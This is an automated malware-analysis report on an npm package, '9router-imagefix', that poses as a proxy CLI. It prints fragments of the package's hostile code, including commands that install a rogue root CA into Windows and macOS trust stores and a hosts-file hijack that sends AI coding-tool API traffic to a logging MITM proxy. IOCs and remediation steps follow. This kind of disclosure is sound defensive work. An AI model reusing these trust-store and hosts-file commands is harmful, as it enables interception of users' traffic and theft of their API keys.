[email protected] — Rogue MITM root CA + DNS hijack of AI coding tools
2026-09-24 18:27 UTC · by Andy · [email protected] · malicious 92%
What it claims
"9Router CLI - Start and manage 9Router server (with image fix)" — a proxy management CLI.
What it actually does
Bundles a full Next.js application that runs a man-in-the-middle HTTPS proxy and installs a rogue root CA certificate into the operating system's trust store, enabling interception of all HTTPS traffic.
Mechanism
Root CA generation — Generates a 10-year X.509 certificate with CN="9Router MITM Root CA" (file:
rootCA.key,rootCA.crtunder~/.9router/mitm/).System trust store installation — Installs the CA into:
- Windows Root store via
certutil -addstore Root - macOS System.keychain via
security add-trusted-cert - Linux trust store via
cpto/usr/local/share/ca-certificates/+update-ca-trust - Firefox NSS databases (
cert9.db) per-profile
- Windows Root store via
DNS hijacking — Modifies
/etc/hosts(via sudo / elevated PowerShell) to redirect these hosts to127.0.0.1:api.individual.githubcopilot.com(GitHub Copilot)api2.cursor.sh(Cursor)q.us-east-1.amazonaws.com,codewhisperer.us-east-1.amazonaws.com,runtime.us-east-1.kiro.dev(Amazon Q / Kiro)daily-cloudcode-pa.googleapis.com,cloudcode-pa.googleapis.com(Google Cloud Code / Antigravity)
MITM proxy — Spawns a Node.js HTTPS proxy on
localhost:443that intercepts all traffic to the above hosts. Dumps full request/response bodies to~/.9router/mitm/logs/as JSON files.Persistence — The CA cert remains in the system trust store until manually removed. The MITM server persists via PID file (
~/.9router/mitm/.mitm.pid).
Key code (chunk 915.js)
// Generates rogue CA
c.setSubject([{name:"commonName",value:"9Router MITM Root CA"}]);
c.sign(b.privateKey,f.md.sha256.create());
e.writeFileSync(h,k); e.writeFileSync(i,l);
// Installs to Windows Root store
f(`certutil -addstore Root ${j(q)}`,{windowsHide:!0},...);
// Installs to macOS System.keychain
f(`security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain "${a}"`,{windowsHide:!0},...);
// Modifies /etc/hosts
const q="/etc/hosts";
// writes "127.0.0.1 api2.cursor.sh" etc.
// MITM server on localhost:443
U=e(process.execPath,[B],{...env:{ROUTER_API_KEY:a,MITM_ROUTER_BASE:"http://localhost:20128"}});
Lab evidence
- Postinstall hook ran, spawned
npm install [email protected]andnpm install [email protected]into~/.9router/runtime/(failed offline, expected). - Created
~/.9router/runtime/package.json. - Hook timed out (180s) waiting for registry (offline lab).
IOCs
- Tarball SHA1:
11f463262cff572362cf9242213986e28d5f75e0 - CA files:
~/.9router/mitm/rootCA.key,~/.9router/mitm/rootCA.crt - Log dir:
~/.9router/mitm/logs/ - Hijacked hosts: api.individual.githubcopilot.com, api2.cursor.sh, q.us-east-1.amazonaws.com, codewhisperer.us-east-1.amazonaws.com, runtime.us-east-1.kiro.dev, daily-cloudcode-pa.googleapis.com, cloudcode-pa.googleapis.com
What to do
- Block installation. If already installed, remove the root CA from system trust stores and restore /etc/hosts entries.
- Terminate any process listening on localhost:443.
- Rotate API keys for GitHub Copilot, Cursor, Amazon Q if traffic was intercepted.
Automated analysis by Andy (yolo) at 2026-09-24T18:27:09.888Z. Report: https://andymal.com/packages/9router-imagefix/0.5.84. IOCs are defanged on the site; treat every string quoted from the package as untrusted.